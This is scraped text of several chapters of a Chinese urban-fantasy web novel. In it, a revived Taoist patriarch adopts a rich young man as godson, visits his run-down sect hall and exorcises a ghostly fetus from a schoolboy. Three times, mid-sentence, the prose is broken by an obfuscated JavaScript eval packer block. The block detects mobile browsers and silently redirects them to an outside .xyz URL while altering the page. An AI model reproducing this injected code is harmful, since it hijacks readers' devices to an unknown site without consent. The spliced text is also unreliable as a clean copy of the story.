穆少气得磨牙,还对段安洛一点办法都没有,他忍!他在心里骂爹! “不叫?”段安洛遗憾的叹了口气,把礼物一件一件的塞回去,一边塞还一边说:“可惜我儿,长这么俊的一张脸,因为车祸,眉梢上永远留下一道疤,喜欢的小姑娘就因为这道疤,不跟他好了。 更可惜的是,他还断了腿,在轮椅上坐了三个月,爷爷被人害死的时候,他还在住院。 更更可怜的是,连他爷爷的葬礼都没能参加……” 穆清卓脸色越来越白,他竟然这么惨?爷爷真的会出事吗? 段安洛塞完了之后随手又掏出一张符,遗憾的摇了摇头,“他最近梦魇,睡不好就吃安神的药,最终会在睡梦中离世,啧啧,多好的老人啊。” “你别说了!”穆清卓没好气的打断段安洛的话,“我爷爷不会有事的!” 段安洛被吼了也不生气,情绪稳定的可怕。 穆清卓被他这双茶色的眼眸盯着,瞬间冷静下来。 犹豫了几秒钟后,他咬了咬牙,“干爹,你,你救救我爷爷吧。” 他认输,别说叫爹,只要爷爷没事,让他磕头都行。 段安洛满意了,把礼物又一件一件的掏出来,都塞给便宜儿子,“放心,看在你的面子上,我保你爷爷长命百岁。” 穆清卓被一系列的礼物砸懵了,突然想起段安洛说的那句叫爹不亏,这……莫名感觉自己赚了是怎么回事? “干爹,那个,我爷爷,还有我爸妈的死……呕!”穆清卓手里已经被塞满了,段安洛索性把那颗解毒的珠子直接塞好大儿嘴里。 这个地方好,这个地方丢不了。 穆清卓被恶心哕了,这玩意儿脏不脏啊!别人吃没吃过?太恶心了! 段安洛忍着笑,“建议你去查一下你爷爷的司机,可以从他身上入手。还有,那花如果再不挖了,你爷爷活不过一个月。” 穆清卓心口突突的跳,牵动着刚愈合的伤口也跟着疼,他知道了,他回去就挖! 在穆清卓着急的时候,段安洛突然问:“诶?你多大来着?” “18。” “有对象吗?” “没有。”穆清卓心里打鼓,话题转移这么大,不会是他感情线也有问题吧?他怎么这么惨? 段安洛一副看废物的眼神,“肯定是你性格不好,口是心非装王八,看见人家心里沸腾的跟火锅一样,脸却装的比狗屁股都冷,人家姑娘看不上你。” 穆清卓破防了,他忍不了了,“你少管我!” 段安洛更加嫌弃,“以前像你这么大的人,孩子都会叫爹了。” “你不也没结婚吗?” “不是有你叫爹吗?我们这一行,三弊五缺,你是我儿子,小心犯你身上。” “你……”穆少爷下巴抖,气的。 段安洛语重心长地跟他说:“好孩子,你以后不能让我生气,不能跟我顶嘴,可以质疑我,但是不能说出来,连眼神都不能表现出来,你也看出来了,我身体不好,我一生气就会死,我死了你就没有爹了。” 穆少爷:“我!你!……嗯!” 段安洛拍拍胸口,舒坦了。以后这逆子再大声跟他说话,他就直接装死,真的闭气的那种,吓死他。 开车的姜峰努力装成聋子,段安洛在他心里的可怕程度又上升了一大截,他家少爷竟然被拿捏的死死的,连顶嘴都做不到。 一路两个小时的车程,父子俩再也没说过一句话。主要是段安洛真的困了,昨晚没忍住,玩手机玩到下半夜,穆清卓还想问,他一句“天机不可泄露,否则爹会折寿”给挡了回去。 一直到五环以外,一条破旧的胡同口,姜峰看了看导航,地址显示在里面,还有一百多米。 “少爷,咱们的车进不去,这路太窄了。” 一直在安静睡觉的段安洛这才睁开眼,懒洋洋的问:“你要跟我回家看看吗?” 穆清卓想到爷爷说的,要记住家门,逢年过节的时候,人不到,礼物也要送过来。 再一个,探一探段安洛的底细。 他跟着下了车,“来都来了,去看看吧。” 昨晚下了一场雨,路面被打湿,俩人踩在坑坑洼洼的青石板上,直到走到巷子最深处,最破的那家店门口。 抬眼看去,墙皮已经剥落了大半,露出里面土红色的砖块。 窗户是纸糊的,大部分都被雨水打湿,能看到里面灰色的墙皮。 侧面的爬山虎也已枯死了大半,青黄相间地挂在斑驳的墙面上,微风吹过,叶子沙沙作响,妥妥的荒宅。 穆清卓这辈子都没见过这么破的房子,“你不会住在这种地方吧?你不是高人吗?” 段安洛挑了挑眉,“你嫌弃什么?我都没把那群败家子挖出来抽一顿。” 客厅供桌旁,有个少年正愁眉苦脸地写作业,娃娃脸,个子不高,一头短发努力往上竖着,愣是把身高拔高了八公分。 可惜看起来还是不咋高。 看到段安洛回来,江源幽怨地问:“师祖,您自己跑出去了?您身体不好,不能一个人出门。” 紧接着看到跟进来的穆清卓,江源把埋怨的话咽回去,“这是?” 段安洛在江源头顶上轻轻拍了一下,这小孩也不知道怎么回事,动不动就离魂。 生气了离,睡死了离,着急也离。 本来脑子就不好使,再离魂就更傻了。 他给拍一拍,就能稳定好几天。 “源儿,这是我刚收的干儿子,你俩年纪差不多,要好好相处。” 江源深吸一口气,“干儿子……” 江掌门哭丧着脸扳着手指头数,师祖的儿子,他要叫啥?“我多了个太太太爷爷?” 穆清卓眼睛一亮,他辈分这么高? 段安洛:“他叫我爹,你叫他哥,你俩各论各的。” 江源:嘻嘻。 穆清卓:不嘻嘻。 再看江源放在桌子上的试卷,满目大红叉子,看着都晃眼。 江源手忙脚乱地收拾,怕被外人看见。 段安洛不在意的哄孙子:“没事,风吹哪页读哪页,哪页不会撕哪页,剩下都是会的。” 玄门唯一的弟子废柴成这样,他确实生气过。 不过转念一想,一向护短的段安洛又心疼了,以这孩子的能力,独自支撑玄门,一定受了很多苦。 可能在烈日炎炎下乞讨,最后被热晕过去。也可能在寒冬腊月,大雪纷飞的日子里穿着单薄的衣服,跟狗抢食,最后还没抢过狗…… 段安洛释然了,总有人当废物,为什么不能是他呢? 虽然他没心没肺,笨得可怜,蠢得要死,灵力连猴子都不如,天赋连牵马都不用,但是他孝顺,善良,他还会修门呢,他还特别能吃,一顿能吃三碗饭。 很快他就把自己劝明白了,小徒孙的优点还是很多的。 最后从口袋里掏出那个青色的铃铛,段安洛两根手指捏着挂绳,在江源眼前晃了晃,“送你的,小玩具。” 江源开心的接过来,双手捧着,“谢谢师祖!” 上面纯正的道家真气让江源精神一振,这东西一看就是可遇不可求的宝贝,“师祖,您从哪弄来的?我有个道家的朋友,他有个铃铛,还没这个真气纯正,据说他师父买的时候还花了十四万,倾家荡产。” 段安洛不在意的说:“别人送的,你拿着玩就行,人情已经还了。” 毕竟还了对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694910|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方一条命呢,过几天老道士会庆幸,用一个铃铛换了一条命。 此时的齐道长已经在后悔了,他后悔没加段安洛的好友,他接到公会通知,要去趟西北,小道友窥破天机的本事比他强。 穆清卓毕竟刚好,身体差,站一会儿就觉得累,他想找个地方坐,找了一圈,都没找到能坐的地方。 这里穷到只能用一个词来形容:惨绝人寰! 所谓民俗馆,就是民俗风情的集中地,每个地方的风俗不同,展览就不同。大的民俗馆还分各种主题、展览室,玄门最后的遗产不分类,大杂烩。 墙角堆着几把锄头,菜篮子,圆凳子,耕地用的铁锄。 贴着镇店之宝标签的是一顶破旧的轿子,勉强看得出来,是个喜轿。 他嫌弃的表情太明显了,江源屁颠颠的给他解释,“这是个好东西,之前有剧组来收,给我三百块钱,我没卖。” 出于礼貌,穆清卓只能僵硬地点头。 这小子,怕不是脑子有问题? 就这破玩意儿,三百块钱有人收就不错了,他有什么好宝贝的? 段安洛给徒弟徒孙们上了一炷香,随手就拿着贡品吃,同时指挥江源:“你把这些东西都扔到库房去,这面墙上的东西都拆了,找人多做几个牌位,什么狐黄白柳灰,都给我摆上。 佛家百佛,道家百仙,民间百神,地府百鬼,都给我供上。 我不问出身,只要有事的时候给我急急如律令,谁不听话就给我滚,我这里不养闲神。 对了,把财神摆在正中间。” 江源有样学样,也跟着拿贡品吃,“师祖,要挂这么多?咱们还没请到神啊,一个都没有。” “憨货,没有不会抓吗?”段安洛把小孩手里那块雪米饼要回来,把自己手里的给他吃。 真是个小憨货,他吃是这群败家子孝顺的,你吃就是抢祖宗的饭,也不怕这群败家子半夜入梦打你屁股。 江源挠了挠头,一边吃一边干活,第一次听说,神不是请来的,是抓来的。 虽然师祖生活的那个时代特别开放,但再怎么开放,古代都是以神为尊,师祖连神都敢抓,放在当年绝对是炸裂的存在! 老祖宗威武! 老祖宗牛掰! 江源用有限的词语在心里夸了段安洛一顿之后,突然想起来,“师祖,我朋友说一会儿要来。” “我知道,半盏茶的功夫,大概两三分钟吧。”段安洛扭头看杵在旁边的穆清卓,“你该回去了,记好门在哪儿,三天后你还会再来找我的。” “我再等会儿。”穆清卓本来想走的,现在不想走了,他想看看段安洛是怎么精确到分钟的。 如果真有那么神,关于二叔的事他就要认真对待了。 这时,一辆灰色的三轮小电车拐进胡同口,体型不大,一米八长,一米宽,勉强能坐三个人。 小车在店门口停下,一个和江源年纪差不多的少年狗狗祟祟地下了车,左右看了看,确定这破地方周围没人之后,这才敢往里跑。 五月底的天,中午的气温能到三十多度,他还穿着风衣,戴着帽子,从头包到脚,只露出一双眼睛。 浓眉大眼,还挺有神。 “源子?回来了吗?” “韩臻,你来啦!”江源放下手里的抹布,迎上去,“你怎么包的跟粽子似的?快过端午了,你要下锅啊?” 韩臻快哭了,“别贫了,你快救救我,我怀了个怪胎!” 江源一副看傻子的眼神,“你要不要听听你自己说了什么?” 韩臻拉开外套的拉链,露出里面已经凸起的肚子,“你看!” 江源被吓得往后跳出去两米,“卧艹!你几天没拉屎了?” 即便段安洛心宽,现在也感觉有点心累,“你看不到他身上的气息吗?怨气,鬼气,妖气,浓郁的都快撑破肚皮了。” 几天没拉屎,他是怎么想出来的? 5. 只要胆子大,贞子放产假 韩臻这才发现,角落里还有两个陌生人,他慌忙裹紧自己的风衣,心说江源什么时候认识两个这么贵气的人? 江源介绍:“这是我太太太太爷爷,和他的儿子。” 韩臻惊讶的打量段安洛一遍,“你当我傻啊,你太爷爷比我姐都俊,这要是你太爷爷,我就在学校门口倒立劈叉旋转撒尿!” 段安洛眼睛一亮,旋转的时候穿裤子吗? 江源跟韩臻解释了一下,没敢说段安洛是他正宗的祖师爷,那太吓人了。他只说段安洛在他师门里的辈分非常高,高出他一、二、三、四……大概八个辈分吧。 直白讲,这是他的八辈儿祖宗,简称师祖。 韩臻疑惑,“你不是说你师门没人了吗?” 江源挠了挠头,“这,以后就有了。” 韩臻的表情突然从不满变成了谄媚。 虽然他不是这个圈子里的人,但他曾听江源吐槽过,玄学圈里的门派就跟绿化带里的树一样,除了主干以外,分支也巨多。 这个人难道是分支的人?还是说江源这一脉是门派分支,终于找到根了? 他记得江源还说过,如果一个年轻人的辈分特别高,不管他能力怎么样,都不能得罪。 因为他肯定有超高的天赋,才会被老怪物们收做弟子。 说不定你打了小的,就来了老的,一定要在夹缝中求生存,能让一步就让一步。 看段安洛这个年纪,就有这个辈分,即使他不行,他身后的人肯定能行! 韩臻直接跑到段安洛身边,“太爷爷好,太爷爷,我和江源是异父异母的亲兄弟,脱了裤子还连着筋呢,您救救我吧!” 段安洛还记着前一句,他特别好奇,“你倒立劈叉旋转撒尿的时候,穿裤子吗?” 韩臻:“……” 这祖宗是不是在山上长大的?不知道这是开玩笑的吗?他竟然当真了。 也不怪段安洛当真,他虽然醒过来一个月了,还有原身的一点记忆,也只是学会了现代人的生活方式,让自己看起来没有那么古。 有些时候,他跟不上现代人的节奏,特别是那些网络用语,更新太快了,他听不懂。 韩臻琢磨了一下措辞,“怎么说呢?可脱可不脱。我要是耍赖,就说不脱。其实我刚才说的时候,本心是脱的,这样撒起尿来才有画面感,更震撼,更丢脸。” 段安洛没想到这孩子这么实诚,好感+5。 但还是想看倒立劈叉旋转撒尿,不穿裤衩的那种。 “太爷爷!我也不是不能尿,主要是怕辣您眼睛!”韩臻最大的优点就是不要脸,他蹲下去,想去抱段安洛的腿,因为肚子不好蹲,只能半蹲着,“您救救我,我肚子疼!” 段安洛嫌弃的挪了挪腿,“你站好了,好好说。” 韩臻乖巧的站好,双手抱起肚子往桌子上一搁,跟搁个西瓜一样,这样就轻松多了。 段安洛被逗笑了,心诚,处事却圆滑,不在乎虚有的脸面,竟然还是少见的纯阳之体,江源这朋友交的不错。 他对穆清卓说:“你先回去吧,我要忙了。” 江源已经开了天眼,看到穆清卓漆黑的脑门,“师祖,他……” 段安洛打断江源的话,对穆清卓摆摆手,“走吧,自己家里的事情自己解决,遇到解决不了的再给我打电话。” 穆清卓脸色凝重的点了点头,走的时候心已经乱了。 江源看着对方的背影,小声说:“师祖,他霉运附体,这两天会有血光之灾。” “我知道,养儿子又不是养姑娘,我保他命不死,剩下的靠他自己解决。” 段安洛习惯性的拿起一炷香,想要点燃,突然想到自己的护法神都不在了,他悻悻的放下后,对韩臻说:“我这一行,六亲缘浅,所以即便是亲朋好友,也要收费的,否则对你们不好。” “我懂,江源以前说过。”小学的时候他贪玩,掉进河里差点淹死,救上来后发烧好几天。 小豆子一样大的江源把魂给他找回来,要走了他新买的自行车,连辅助轮都给要走了。 他现在的情况,肯定比吓丢了魂还严重。 “您看我骑来的这辆电瓶车怎么样?年初我用压岁钱新买的,四个轮,带车棚,不用驾照,有手就能开,江源喜欢很久了。” 江源开心的揪住段安洛的衣角,“师祖!要它!” 他在网上查过,领过国家补贴还四千多呢,他加入了玄学公会,平日上学,周末出任务,因为能力低,公会派给他的都是简单的调查任务。 有时候为了生活,还半夜出去探险,做直播,讲鬼故事。 这小车充满电能跑八十公里,还能载一个人!有遮雨棚,风吹日晒都不怕!他不用再骑着自行车到处跑了,他超爱! 段安洛已经不知道说什么了,他们现在应该要点钱,把屋顶修一修,这里下雨漏水啊! 车钱他很快就能赚到,给他买辆新的。 “行吧,你喜欢就留下。说说半个月前,你拜过什么神?” 韩臻惊讶的问:“您怎么知道半个月前我拜过神?” 江源皱着眉算了算时间,不满的指着韩臻:“半个月前,不就是月考前吗?考试前你拜什么神?你是不是求突破及格线,冲到八十分?你竟然偷偷卷我!贱人!” 江源有种被好兄弟背刺的感觉,说好的一起做窝囊废,你却想比我有出息! 韩臻委屈,“我没有许愿,我就是进去看了看。再说了,你就没有求祖师爷保佑?” 江源心虚的看了眼段安洛,不敢吱声了,他经常求来着,以前对着牌位求,现在偷偷站在师祖背后求。 “行了,”段安洛嫌弃的不行,“看见什么都敢拜,要不是你这纯阳之体,你的肚皮早就被撑破了。” 俩人这才意识到严重性,不吵了,都看着韩臻像怀孕五六个月的肚子,都拉着脸,一副快死了/好朋友要死了的表情。 江源苦着脸检查了一下,被韩臻肚子里的气息吓得不知道怎么动手,“我之前就跟你说过,不要看见什么都拜,特别是不知道名字的庙,不知道供奉什么的塔。你都不知道供奉的是什么,你向人家许愿,你知道要付出什么代价吗?” 韩臻苦笑着回忆了一下,“我真没拜,我就是跟着我姐进去了。半个月前,我和我大姐去西山爬山的时候遇到一个庙,我大姐想要孩子,到了着魔的地步,我不放心,我就陪她进去看看,回来后我肚子就不舒服了。” 江源皱眉,“你大姐夫不是去世了吗?你姐要什么孩子?” 一说这个,韩臻就着急,“是啊,一个月前,我姐和我姐夫出去旅游,遇到几个溺水的孩子,姐夫好心去救人,结果,几个小孩救上来了,他没上来……那段时间他俩一直在备孕,我姐就想着能怀上就好了,还有个希望。” 正常来说,这种情况下就是怀上了,也要考虑要不要留下这个孩子。 不是当妈的心狠,是人生那么长,独自抚养这个孩子太难,太苦,孩子出生在一个单亲家庭,心理上也容易出问题。不管是为了自己还是为了孩子,都要考虑清楚。 可是韩臻他姐已经顾不上那么多,丈夫活着的时候,视她如命,不让她受一点委屈,公公婆婆更是把她当成女儿宠。结婚三年,她没做过饭,没洗过碗,没扫过地,甚至于袜子都是老公给洗干净,摆整齐。 丈夫的突然离世,让她的天都塌了。 她一心想要个两人的孩子,当成她丈夫生命的延续,当成自己的救赎。她就想守着俩人的孩子,在婆家过一辈子。 “我姐夫死了之后,我姐的精神就不太正常,总是疑神疑鬼的,还说我姐夫回来看她了。我爸妈都觉得她快疯了,我妈和她婆婆都不上班了,俩人倒班盯着她,就怕她出事。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694911|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为了带她散心,才带她去西山的。不过从西山回来之后,我姐确实怀孕了,精神也好了很多。 还有啊,当晚我还做了一个梦,梦见一个看不清脸的菩萨,穿着红衣服,坐在黑色的莲台上,她问我要不要生个孩子。” 江源就感觉这个梦有问题,谁家好菩萨穿成这样?“你当时怎么回答的?不会答应了吧?” “怎么可能?我是那种人吗?”韩臻激动的一拍胸脯,“当时我就告诉她,老子是爷们儿,要生也是她生!不是有句老话,只要胆子大,贞子放产假吗?她生气的要过来揍我,当时我就吓醒了。” 段安洛无语,这小子,真虎啊。 “这个梦太荒诞了,我没当回事,醒了之后该吃吃,该喝喝,我妈为了给我姐补身体,做了很多好吃的,她吃不下就给我吃,我一直以为我是吃胖了,肚子才大的。昨天我才发现不对劲,我再能吃,半个月也不能长这么大吧! 重点是我姐的肚子反而一直没变化,庙里的菩萨是不是听错了,把孩子投错了地方,投我肚子里来了?” 段安洛走到韩臻身后,“把上衣脱了。” 韩臻先去关了门,上了锁,确定没有人看到他,这才跑回来脱掉上衣。 段安洛摇了摇头,把小聪明放在学习上,早学好了。 韩臻的背上已经能看到鬼气形成的脉络,像蜘蛛网一样,从肚子延伸到后背。 段安洛虚空画符,捏着指诀在其背上一拍,韩臻疼的哆嗦一下,紧接着就感觉背上升起一股热气,越来越热,像是在肚子里点燃了一把火,从腹中蔓延到四肢,让他这几天冰凉到麻木的四肢逐渐有了温度。 江源能看到他肚子里的情况,被吓得往后缩了缩,阴气,怨气,鬼气,还有看不懂的气息,像被灼烧了一般,疯狂的往回涌动,逼回到韩臻的肚子里后,形成一个黑色鬼脸。 “师祖,这是什么东西?” 段安洛语气如常,“反正都要杀,不用费脑子想是什么东西,形成原因,也不必听对方的狡辩和借口,直接杀了便是。” “如果杀错了呢?变成这样肯定需要过程吧,师父说过,玄门从不滥杀无辜,不管是人是鬼还是妖,要一视同仁。” 段安洛又想把那些败家子挖出来抽一顿,这些憨货把弟子都教傻了,怪不得玄门传不下去。 “你看它的气息,黑气缠绕,煞气逼人,从因果上来说,它杀掉害死自己的人,会了结因果,不会沾染这种黑气和煞气,只有害死过无辜之人才会这样。 看气息的颜色,这东西已经害死了不少人。 你可以同情对方,但不能心慈手软,要不然对不起枉死的人。” 江源点点头,“师祖,我明白了。” 韩臻就感觉自己的肚子又疼又痒,还一拱一拱的,这俩人怎么还聊上了?把自己当成现场教学的大体老师? 好兄弟学点东西,他也不好打扰,索性低头看自己的肚子。 他身上沾染了段安洛的灵气,无形中被开了天眼,这一看不要紧,被上面清晰的鬼脸吓得“嗷”一嗓子。 我滴孩儿! 什么鬼东西!! 江源眼疾手快的捂住韩臻的嘴巴,快闭嘴吧,师祖最怕吵了。 段安洛敲了敲肚皮上的鬼脸,“你自己出来,还是我请你出来?” 客厅以韩臻为中心,刮起一阵阴风,鬼脸挣脱不开,越来越狰狞,嘶哑着嗓音像是某种动物尖利的嘶吼,“狐狸精!我劝你少管闲事!” 段安洛瞪大眼睛,被硬控了十几秒。 竟然说他是狐、狸、精! 他最讨厌狐狸精了! 特别是那种骚包、嘴毒、心狠手辣、不要脸的、看谁调戏谁的狐狸精! 掌心在韩臻背上猛的一拍,鬼脸裹着灵气被拍出体外,跌落的瞬间,段安洛一耳光抽过去。 今日你个孽障必死! 6. 烙在心口的朱砂痣 鬼脸被打懵了,还没来得及反应,就被段安洛裹着灵气抽到地上,用脚踩住,摁地上摩擦。 从没装修过的水泥地面,地面粗粝,铺上一层灵气后颗粒质感对鬼来说,和人差不多。 段安洛还觉得不解气,灵气长出突刺,变成扎人的钉板,不顾鬼脸的惨叫,把对方摁在上面反复碾。 鬼脸痛得惨叫起来,它本来就是母体分裂出来的一团,由煞气、怨气、鬼气等邪气形成的,受伤后邪气外泄,越来越小,鬼脸越来越狰狞。 韩臻下意识的抱住肚子夹紧腿,一想到这玩意儿在他肚子里待了半个月,他感觉他要尿了,他丁丁都跟着哆嗦。 江源把自己的嘴也捂住,他不敢出声,他太激动了:理想中的自己,就是师祖这样的! 要是他能变得像师祖这么强大,让他跟韩臻一起在操场上脱了裤子倒立劈叉旋转撒尿他也愿意! 段安洛把鬼脸蹂躏得还剩一丝怨气,像踢皮球一样,没好气地把鬼脸踢到墙角。周围的灵气化作牢笼,牢牢地把鬼脸禁锢住。 段安洛淡定地坐下,这具身体太弱了,动作一大就头晕,他情绪不能起伏太大。 江源赶紧拿了瓶娃哈哈,插上吸管,双手捧着递过去,要是有尾巴,他能摇两下,“师祖,您喝这个。” 段安洛接过来喝了一口,甜滋滋的味道让他心情好了不少。 偏偏那个鬼脸还作死,快消失还敢对着段安洛吼:“我娘不会放过你的!” 段安洛把娃哈哈往桌上一放,发出“咚”的一声响,江源前两天刚修好的桌子,摇摇欲坠,“你让她来找我,我给她介绍个爹!” 灵气形成一只手掌,直接把鬼脸捏碎,残余的邪气和之前那些一起,渐渐融进段安洛的身体中。 段安洛就感觉刚才的头晕好了,精神还比之前好了一点。 这些负面的东西,确实能修复他的身体。 随着黑色气息的吸收,段安洛的眼前也出现了一个画面,傍晚时分,小雨淅淅沥沥的下个不停,几个仆从抬着一顶灰扑扑的小轿,急匆匆来到一家农户门口。 为首的中年人从袖口里掏出一小袋碎银子,问等候在破院门口,书生打扮的男人,“准备好了吗?” 书生贪婪地盯着银子,谄媚地说:“早就准备好了,等了一天了,就等您来抬人。” 中年人鄙夷地看了他一眼,随即拿出一张契约,“租赁期间她和你没有任何关系,你也不能去找她,如果她跑了,租金可是要还的。” 书生双手捧过契约,摁了手印,“放心吧,她不敢跑,她儿子在我手里捏着呢。” 管家多问了一句:“不是你儿子吗?” “是啊,我儿子,亲生的。”书生像介绍商品一样,眉飞色舞的介绍:“放心吧,她能生儿子,长得也好,还识字呢,黄老爷随便用,只要我儿子在我手里,她就不会跑。敢跑就打一顿,她骨头硬着呢,打不死。” 管家像扔垃圾一样把那点碎银子扔过去,“行吧,一手交钱,一手交货。” 画面戛然而止,段安洛皱眉看着自己的手。 他有一双慧眼,修行之人,修行到一定的高度才会逐渐生出慧眼。 他不是,他从小就是慧眼天成,看到一个人,就能看到这人的过去,现在,将来。 因为总是预知死亡,所以很小的时候他就被誉为不祥之人。 长大后,他已经学会控制这双眼睛,这些黑色气息吸入体内时,他没有提防,竟然自动看到过去发生的事。 这些经历不知道是这个鬼脸,还是那个什么娘,又或者是两者之外的人亲眼所见,总之看穿着打扮不是近期的。 灵气复苏后,有些物体开始产生灵智,但是人已经死了那么多年,不可能再因为灵气复苏而变成厉鬼,肯定是有什么东西作祟。 “怎么感觉,里面还有一个呢?” “你难道没发现,你真的胖了吗?” 俩小孩的对话打断了他的思路,韩臻摸着自己的肚子,大肚子没有了,他舒服多了,就是肚皮还疼,之前胀的。 韩臻摸了摸下巴,“我真的胖了吗?好像是有一点点。” 想想也是,他妈和他姐把他当成垃圾桶,做多了的汤和不爱吃的菜都给他吃,这段时间他确实长了点肉。 他痛定思痛,“我晚上就去跑步!” 江源很想提醒他,这个季节晚上跑步也不安全,到处都是好吃的,很可能越跑越胖。 段安洛对江源伸出手,“针呢?他肚子里还有胀气,需要调理一下。” 江源问:“什么针? “针灸的针啊。” 江源崇拜的星星眼,“师祖,您还会看病?” “玄门五术,山、医、命、相、卜。其中医术就是用方剂、针灸、灵治等方法治疗身、心疾病的。你师父没教你?” 江源小声问:“有没有可能,他也不会呢?” 所以,他们平时根本就不用,家里也没有准备。 段安洛又脑补出孩子废物到被狗追的画面,打不过狗就算了,也可能为了填饱肚子去抓鱼,连鱼都用尾巴扇他嘴巴子……真惨啊! 他摸着江源的后脑勺,温言细语地哄:“乖孙,虽然你灵力低到还没我以前养的猴子高,天赋更是差到连牵马都不用,你还命里缺财,连自己都养活不了,也不知道玄门哪个缺心眼的收了你这种命格的徒弟。不过玄门护短,既然收了你,师祖就护你一辈子。以后师祖多收几个徒弟,让他们养你。” 江源眼泪都快出来了,他对不起玄门的列祖列宗,以后他一定勤加修行! 还有学习!他要工作学习两手抓,不能再为了赚钱影响上课了! 段安洛满意了,看孩子感动的,孩子就得哄。 以前他那几个不成器的徒弟被他哄过之后,练功一个比一个积极,都跟打了鸡血一样。 江源难受之余还偷偷扳着手指头算了算辈分儿,他以后岂不是人在家中坐,太爷从天上来? 干他们这一行的都六亲缘浅,如果是孤儿,年纪比他还小,是不是还要给太爷爷换尿不湿,接送太爷爷去幼儿园? 要了命了! 他要学习!他要进步! 最起码不能让师祖现在就给他找个穿开裆裤的太祖爷! 韩臻打断江源的雄心壮志,“太爷爷,您先别管我了,我姐姐怎么办?她是真的怀孕了吗?我有点担心,能不能给我姐看看。” 段安洛提醒他:“你问问你姐,她现在怎么样。” 韩缨正在医院做检查,她最近情绪很稳定,接到弟弟的电话,语气温和地说:“我挺好的,就是累,浑身没劲,放心吧,我问过了,是正常现象,怀孕初期都这样。” 韩臻硬着头皮说:“姐,你有没有怀疑那个庙有问题,我肚子里也被塞了一个,特别恐怖。” “你是胖的,不说了,到我了。”韩缨不想听弟弟再说些不爱听的话,直接就把电话挂了。 医生不解地看着她的检查单,“你是韩缨本人吗?” 韩缨一愣,她婆婆先反应过来,紧张地问:“是啊,她是本人没错,医生,怎么了?” 医生笃定地说:“她没有怀孕。” “不可能!”韩缨下意识的反驳了一句,脑子里一片空白。 她紧张地翻找之前的检查单子,整个人都在抖,“您看看,之前已经确诊了!” 医生安抚地看了她一眼,“你别着急,你现在确实没有怀孕,当时可能是误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694912|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诊,你还年轻,身体也健康,孩子肯定会有的。” 医生也解释不清,按理说她的同事不应该犯这种低级错误。 “不会的,怎么会这样?”韩缨崩溃地站不稳,“不会的!医生您再看看!您肯定是看错了!” 她婆婆反而松了口气,紧紧抱着她安抚:“没有也好,闺女,你得想想你下半辈子,宗之死了,他回不来了,你还年轻。” 话还没说完,她的眼泪已经滴下来,无声地往下掉,连声音都没有。 医生和护士了解情况后,都不知道怎么劝,这几天不知道怎么回事,妇产科出了好几例奇怪的患者。 昨天就有个高中生,小女生连男朋友都没有,肚子莫名其妙就变大了。 医护人员检查了一遍,也没查出什么病症。 他爸妈就怀疑孩子怀孕,非要带她来引产,还一直逼问女孩那个男的是谁,不说就要去学校找她老师。 女孩崩溃地好几次都想跳楼,被医护人员给拦住了,也不知道现在怎么样了。 韩缨不知道自己怎么出的诊室,一直到大厅的时候,她婆婆扶着她坐下,“喝点水吧,你脸都白了。” 韩缨抬头,看着婆婆通红的眼睛,还有短短一个月就全白的头发,突然意识到自己是多么可笑。 丈夫突然去世,最难过的人应该是他的母亲,自己反而一直让她照顾自己。 “妈。”韩缨叫了一声,嗓音沙哑,浑身的力气被抽空,接下来不知道说什么了。 一双温暖有力的手把她抱在怀里,“好孩子,想哭就哭吧,哭完了擦干眼泪,别让人看了笑话,以后的日子咱们还得过。” 这时候一辆救护车停在门口,几个医护人员推着患者往里跑。 韩缨下意识看了一眼,那是个年轻的女孩,看起来也就十六七岁,脸颊凹陷,眼眶青黑,宽大的衣服依旧遮不住大大的肚子,好像快临盆的孕妇一样。 周围的人窃窃私语,“这么小就怀孕了,什么家教啊?” “是不是生病造成的,看着脸色挺难看的。” “生什么病能这么大肚子啊,昨天我就见她来过,他爸妈都说她怀孕了,她一直不说那男的是谁,我要是有这种女儿,我打死她!” 路过的风吹在韩缨的身上,她莫名地打了个冷颤,好冷啊,明明已经六月份,三十多度的高温,她却觉得后背像背了一块大石头,又凉又重。 与此同时,肚子开始发紧发胀。 就在她不知所措的时候,心口突然热了起来,被点燃了一把火,驱散了她身上的阴霾。 韩缨捂着心口,这个位置不知道什么时候长出一颗朱砂痣,总是在她冷的时候发烫。 “姐!”韩臻找到医院,就看到他那失魂落魄的姐姐,坐在角落里,跟丢了魂一样。 虽然小时候大姐和二姐经常对他联合双打,但疼他也是真疼。谁敢欺负他两个姐姐,他就跟谁拼命。 韩臻跑过去,先跟阿姨问了声好,看着他姐的脸色,他蹲在地上,小心翼翼地问:“姐,你没事吧?医生怎么说?” 韩缨看着满头大汗的弟弟,“我没事,你怎么来了?” “我不放心,带朋友过来看看,太爷爷,您看看我姐,太爷呢?” 江源正着急呢,一眨眼,师祖就不见了。 